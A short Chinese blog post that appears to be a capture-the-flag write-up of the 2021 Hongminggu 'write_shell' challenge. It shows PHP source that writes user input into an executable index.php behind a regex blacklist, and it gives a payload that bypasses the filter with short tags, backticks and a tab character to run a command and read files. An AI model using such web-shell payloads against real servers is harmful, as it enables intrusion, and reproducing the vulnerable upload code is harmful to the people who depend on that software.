[红明谷CTF 2021]write_shell <?= ?>

进去一个代码审计:

 <?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        // if(preg_match("/'| |_|=|php/",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

老套路了,先创建一个目录,传参$data作为该目录下index.php文件的内容

payload:

?action=upload&data=<?=`cat\t/*`?>

因为在反引号内属于命令执行的范畴,所以可以用\t代替,想想js粘贴板攻击。

posted @ 2022-07-15 16:32  Galio  阅读(69)  评论(0编辑  收藏  举报